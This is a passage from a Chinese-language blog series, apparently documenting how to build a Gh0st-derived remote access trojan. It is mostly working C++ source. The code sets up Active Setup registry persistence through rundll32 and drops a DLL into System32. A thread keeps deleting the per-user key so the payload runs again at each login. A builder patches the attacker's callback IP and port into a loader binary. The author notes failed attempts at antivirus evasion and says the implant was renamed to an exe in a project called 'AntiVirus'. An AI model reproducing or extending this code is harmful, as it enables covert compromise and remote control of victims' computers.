if (hServiceStatus == NULL)
{
return;
}
else FreeConsole();

TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// call Real Service function noew

g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
do {
Sleep(100);//not quit until receive stop command, otherwise the service will stop
} while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

if (g_dwServiceType == 0x120)
{
//Shared的服务 ServiceMain 不退出,不然一些系统上svchost进程也会退出
while (1) Sleep(10000);
}
return;
}

记得修改端口和ip。

不知什么原因,现在已经无法正常启动服务,猜测和window10系统有关,不过也没什么关系。

part14-ActiveX启动

同样有缺陷,实现原理还是修改注册表,然后需要管理员权限。

实现原理

修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\,添加一个键,构造AX启动某一软件。

由于我们使用的是dll文件,所以需要用到rundll32.exe来调用我们dll里面的导出函数。

但是会出现两个问题。

  • 程序启动,系统卡住
  • 重新启动两次,程序无法启动。
  • 重新启动后,显示缺少dll模块,未解决。

主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

//生成键名称
BOOL GetNUM(char* num)
{
CoInitialize(NULL);
char buf[64] = { 0 };
GUID guid;
if (S_OK == ::CoCreateGuid(&guid))
{
_snprintf(buf, sizeof(buf)
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
, guid.Data1
, guid.Data2
, guid.Data3
, guid.Data4[0], guid.Data4[1]
, guid.Data4[2], guid.Data4[3], guid.Data4[4], guid.Data4[5]
, guid.Data4[6], guid.Data4[7]
);
}
CoUninitialize();
memcpy(num, buf, 64);
return TRUE;
}

void ActiveXSetup()
{
HKEY hKey;
char strFileName[MAX_PATH]; //dll文件名
char ActivexStr[1024]; //用于存储ActiveX的键字串
char ActiveXPath[MAX_PATH]; //ActiveX路径
char ActiveXKey[64]; //ActiveX 的GUID字串
char strCmdLine[MAX_PATH]; //存储启动的命令行参数


ZeroMemory(strFileName, MAX_PATH);
ZeroMemory(ActiveXPath, MAX_PATH);
ZeroMemory(ActivexStr, 1024);
ZeroMemory(ActiveXKey, 64);
ZeroMemory(strCmdLine, MAX_PATH);

//得到Activex路径
strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
//得到Activex的GUID
GetNUM(ActiveXKey);
//构造dll完整文件名
GetSystemDirectory(strFileName, MAX_PATH);
strcat(strFileName, "\\");
strcat(strFileName, ActiveXKey);
strcat(strFileName, ".dll");


//构造ActiveX的注册表键值
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
//创建这个注册表
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);

//构造程序启动的命令行参数
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
//将参数写道注册表中
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE*)strCmdLine, lstrlen(strCmdLine));
RegCloseKey(hKey);
//释放文件
CreateEXE(strFileName, IDR_DLL, (char*)"DLL");

//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
return;
}

解决问题一

采用双导出函数解决,给dll添加两个导出函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}

extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH];
ZeroMemory(strMyFileName, MAX_PATH);
ZeroMemory(strCmdLine, MAX_PATH);
//得到自身文件名
GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH);
//构造启动参数
sprintf(strCmdLine, "%s %s,MainRun", "rundll32.exe", strMyFileName);

//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);

}

解决问题二

这个问题的产生是因为,我们在添加键的同时,HKEY_CURRENT_USER\SOFTWARE\Microsoft\Active Setup\Installed Components下同样会产生一个项,导致了我们无法启动程序。

解决方法,创建一个线程不断删除这个项,需要解决如何找到这个项名称的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

DWORD WINAPI DelAXRegThread(LPVOID lpParam)
{
char strFileName[MAX_PATH]; //dll文件名
char* pstrTemp = NULL;
char ActiveXStr[1024]; //activex 键值字符串

ZeroMemory(ActiveXStr, 1024);
ZeroMemory(strFileName, MAX_PATH);
//得到自身文件名
GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH);
PathStripPath(strFileName); //将完整文件名转换为文件名
pstrTemp = strstr(strFileName, ".dll"); //寻找 .dll然后将他删除掉
if (pstrTemp != NULL)
{
ZeroMemory(pstrTemp, strlen(pstrTemp)); //删除掉扩展名
//构造键值
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", strFileName);
while (1)
{
//不停的删除注册表
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
OutputDebugString(ActiveXStr); //输出删除的字串用以测试
Sleep(1000 * 30);
}
}
return 0;

}

然后添加线程

MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);

解决问题三

估计是windows下c盘的文件保护机制,虽然我们添加了文件,但是重启后,文件就会不存在。

part15-生成客户端

这部分主要是为了我们修改ip时不用再去修改dll的代码,直接利用Loder.exe,遍历其内存,找到ip和端口结构体的地址,然后修改,然后重新生成一个exe。

怎么说比较鸡肋。

然后这里为了方便,我直接修改了原来的设置对话框,添加了修改ip的编辑框,然后生成server.exe的对话框就是直接从ini配置文件中获取ip和port。

CCreatServerDlg.cpp,添加了一个OnInitDialog对编辑框里面的内容进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

// CCreatServerDlg.cpp: 实现文件
//

#include "pch.h"
#include "MyRemote.h"
#include "CCreatServerDlg.h"
#include "afxdialogex.h"
#include "IniFile.h"

// CCreatServerDlg 对话框

IMPLEMENT_DYNAMIC(CCreatServerDlg, CDialogEx)

struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
}g_myAddress = { 0x1234567,"",0 };

CCreatServerDlg::CCreatServerDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_CREAT_SERVER, pParent)
{
}

CCreatServerDlg::~CCreatServerDlg()
{
}

void CCreatServerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_CLIENT_IP, m_strIp);
DDX_Control(pDX, IDC_EDIT_CLIENT_PORT, m_strPort);
}


BEGIN_MESSAGE_MAP(CCreatServerDlg, CDialogEx)
ON_BN_CLICKED(IDOK, &CCreatServerDlg::OnBnClickedOk)
END_MESSAGE_MAP()


// CCreatServerDlg 消息处理程序


BOOL CCreatServerDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();

// TODO: 在此添加额外的初始化

nIp = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetString("Settings", "ListemIp"); //读取IP
nPort = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetString("Settings", "ListenPort");
int len = m_strIp.GetWindowTextLength();

m_strIp.SetLimitText(MAXDWORD); // 设置最大长度
m_strPort.SetLimitText(MAXDWORD); // 设置最大长度

m_strIp.SetSel(0, -1);
//用传递过来的数据替换掉该位置的字符
m_strIp.ReplaceSel(nIp);

m_strPort.SetSel(0, -1);
//用传递过来的数据替换掉该位置的字符
m_strPort.ReplaceSel(nPort);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}


int memfind(const char* mem, const char* str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}

void CCreatServerDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
CFile file;
char strTemp[MAX_PATH];
ZeroMemory(strTemp, MAX_PATH);
CString strCurrentPath;
CString strFile;
CString strSeverFile;
BYTE* lpBuffer = NULL;
DWORD dwFileSize;
UpdateData(TRUE);
//////////上线信息//////////////////////
strcpy(g_myAddress.strIP,nIp);
g_myAddress.nPort = atoi(nPort);
try
{
//此处得到未处理前的文件名
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
strCurrentPath = strTemp;
int nPos = strCurrentPath.ReverseFind('\\');
strCurrentPath = strCurrentPath.Left(nPos);
strFile = strCurrentPath + "\\server\\Loder.exe"; //得到当前未处理文件名
//打开文件
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
dwFileSize = file.GetLength();
lpBuffer = new BYTE[dwFileSize];
ZeroMemory(lpBuffer, dwFileSize);
//读取文件内容
file.Read(lpBuffer, dwFileSize);
file.Close();
//写入上线IP和端口 主要是寻找0x1234567这个标识然后写入这个位置
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
//保存到文件
strSeverFile = strCurrentPath + "\\server.exe";
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
file.Write(lpBuffer, dwFileSize);
file.Close();
delete[] lpBuffer;
MessageBox("生成成功");

}
catch (CMemoryException* e)
{
MessageBox("内存不足");
}
catch (CFileException* e)
{
MessageBox("文件操作错误");
}
catch (CException* e)
{
MessageBox("未知错误");
}
CDialogEx::OnOK();

}

part16-我自己的客户端

由于上面几种客户端实际上都不行,所以我自己将dll改成了exe,目的是exe方便执行,工程文件夹为AntiVirus。

part17-免杀

客户端改成exe后,我也尝试写了下免杀,试了几种方法,但是Ghost的特征太多,现在杀毒软件也比较完善了,没能成功。